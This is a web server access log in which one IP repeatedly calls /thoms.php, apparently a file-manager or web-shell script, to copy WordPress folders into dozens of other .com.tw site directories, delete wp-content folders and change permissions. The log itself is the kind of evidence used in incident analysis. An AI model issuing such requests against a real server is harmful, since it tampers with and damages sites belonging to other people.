45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bfl.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bft.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=big-wife.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bioway88.com.tw HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=upgrade HTTP/1.1" 200 11370 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=wp-content HTTP/1.1" 200 11440 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=ba-guo.com.tw HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=besth2o.com.tw HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22662 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bogroup.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22647 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bestzyx.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11414 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bft.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bogroup.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22768 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22747 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17507 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21171 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 14015 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13754 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18011 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:10 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17705 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17562 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12535 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20635 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=ba-guo.com-20260912023525 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13338 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17303 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20969 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=wordpress-6.6-20260912023539 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17377 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16546 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17383 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17471 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=wp-content-20260912023544 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22757 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12538 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20828 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20742 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content%2Flanguages&p= HTTP/1.1" 200 12404 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content%2Flanguages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17468 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?del=mu-plugins&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13630 "http://163.245.207.76:443/thoms.php?del=mu-plugins&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /booking-wise2.com.tw/wp-content/languages/ HTTP/1.1" 200 4145 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content%2Fupgrade&p= HTTP/1.1" 200 12438 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?del=upgrade&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13630 "http://163.245.207.76:443/thoms.php?del=upgrade&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content%2Fplugins&p= HTTP/1.1" 200 12414 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content%2Fplugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content%2Flanguages HTTP/1.1" 200 27479 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-content%2Flanguages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?chmod=upgrade&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
